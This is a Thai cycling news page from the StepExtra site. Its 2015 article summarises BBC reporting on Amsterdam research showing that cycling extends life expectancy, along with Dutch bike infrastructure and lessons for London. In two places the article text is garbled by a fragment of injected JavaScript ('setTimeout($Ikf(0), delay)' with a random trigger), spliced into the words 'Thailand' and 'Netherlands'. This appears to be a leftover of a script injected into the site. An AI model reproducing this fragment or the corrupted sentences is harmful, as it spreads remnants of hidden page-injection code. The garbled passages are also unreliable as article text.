• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News Cycling News

ปั่นจักรยานทำให้อายุยื่นยาวขึ้น

stepextra by stepextra
13 October 2015
in Cycling News, Feature, News
0
ปั่นจักรยานทำให้อายุยื่นยาวขึ้น
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เปิดข่าวจากสำนัก BBC Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and เจอกระทู้ข่าวที่น่าสนใจชิ้นหนึ่ง เป็นงานวิจัยของ Armsterdam เมืองจักรยาน บอกว่า การปั่นจักรยานทำให้อายุยื่นขึ้น…ปั่น 1 ชั่วโมงอายุคุณจะยืนยาวขึ้นอีก 1 ชั่วโมงเลยละ

นอกจากการนำเสนอข่าวการปั่นจักรยานเเล้วจะทำให้อายุยื่นเเล้วจะพาไปดู Facility ของเมือง Ductch ด้วยนะครับ ใครที่อยากเห็นเมืองเเห่งจักรยานเค้าทำกันอย่างไร ไม่ควรพลาดนะครับ

ว่าเเล้วเราก็ลองเข้าไปดูคลิปนำเสนอข่าวกันเลยดีกว่า

ประเด็นที่น่าสนใจ พอจะสรุปออกมาให้ท่านผู้อ่านดู คือ

1. คน Amsterdam ปั่นจักรยานเฉลี่ย 74 นาทีต่อสัปดาห์ จะช่วยเพิ่มอายุไข 6 เดือน

2. งานวิจัยนี้ให้เครื่องมือเเละหลักอ้างอิงจากองค์กรอนามัยโลก หรือ WHO (World Health Organization)

3. การปั่นจักรยาน 100 ชั่วโมง ช่วยลดอัตราการตายได้ถึง 10%

4. สรุปได้ว่า ปั่น 1 ชั่วโมงอายุคุณจะยืนยาขึ้นอีก 1 ชั่วโมง

5. เมือง Amsterdam มีภูมิประเทศที่ได้เปรียบ มีลักษณะเป็นที่ลุ่ม มีเส้นทางจักรยานถึง 37,000 สาย

6. เด็กๆ มีการสอนให้ปั่นจักรยานตั้งเเต่เล็กๆ

7. รัฐบาลสนับสนุน ทั้งการรณรงค์และการสร้างสิ่งอำนวยความสะดวกต่างๆ (Facility)

เมื่อพูดถึงเหล่าสิ่งอำนวยควาสะดวก หรือ Facility ที่รัฐบาลสร้างให้ เราลองไปดูกันเลยดีกว่า ว่ามีอะไรกันบ้าง….

ป้ายเเรก เราไปดู Bicycle Parking ที่ Rotterdam Central Station ซึ่งออกเเบบมาได้สวยงามลงตัวมาก มีสถานนีรถไฟ รถบัส เเละที่จอดรถในที่ๆ เดียวกัน

บริเวณที่จอดรถก็มีการจัดการที่ดี รองรับจักรยานได้ถึง 5,190 คัน มีการจดบันทึกทะเบียนผู้ใช้แบบอิเล็กโทรนิค บอกวันเวลาการใช้ สถานที่บริการซ้อม ให้เช่าจักรยานพร้อมสรรพ

อีกคลิปที่น่าสนใจคือ ไม่ใช้เเค่ใน Amsterdam เท่านั้นที่ปั่นจักรยาน แต่คนในประเทศ Netherlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands ปั่นกันทั้งประเทศตั้งเเต่อายุ 8 ขวบถึง 80 ปี

จบด้วยการนำเสนอข้อคิดจากสำนักข่าว BBC ในประเด็นที่จะเปลี่ยนให้เมือง London ให้เป็น London cycling อย่างไร ทำอย่างไรจึงจะเหมือนกับเมือง Amsterdam หรือ Dutch

ผู้เขียนพยายามจะดึงประเด็นที่น่าสนใจมา ทำอย่างไรจึงจะกลายเป็นเมืองแห่งจักรยาน

1. ประวัติศาสตร์ ประสบการณ์ วิกฤตทางเศรษฐกิจมีส่วนสำคัญในการผลักดัน Dutch ให้กลายเป็นเมืองจักรยาน อย่างเช่น วิกฤตน้ำมัน อุบัติเหตุที่เกิดขึ้นกับเด็กๆ ทำให้ต้องมีการรณรงค์และออกกฏหมาย

2. การออกเเบบเมือง การวางเเผนผังเมือง การสร้างสิ่งอำนวยความสำดวก เเยกกันให้เห็นชัดเจน

3. ความคิดเห็นของผู้คน มีการปลูกผั่งวัฒนธรรมการปั่นจักรยานหรือไม่ ความต่างของวัฒนธรรมมีผลต่อการผลักดันให้เป็นเมืองเเห่งจักรยาน

4. จักรยานเเละรถยนต์ดูเหมือนจะเป็นศัตรูคู่อาฆาตไปซะทุกที่

5. การทาสีทำทางจักรยานอย่างเดียวไม่ช่วยให้เรากลายเป็นเมืองเเห่งจักรยานได้

6. ความรับผิดชอบของผู้ขับรถยนต์ และผู้ปั่นจักรยาน มีผลต่อส่วนรวม เรามีน้ำใจต่อเพื่อนร่วมทางหรือไม่

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.